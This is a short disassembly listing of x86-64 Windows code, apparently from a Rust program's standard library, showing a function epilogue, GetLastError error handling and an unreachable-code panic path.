pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
mov rsi, qword [rbp + 0x400]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x418]
test rdx, rdx
jne 0x14000f455
jmp 0x14000f46a
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c0], rax
mov byte [rbp + 0x3d8], 2
test rdi, rdi
jne 0x14000f411
jmp 0x14000f429
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.5Bc_
mov edx, 0x28
call fcn.1400330c0
jmp 0x14000f504
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.140033510
ud2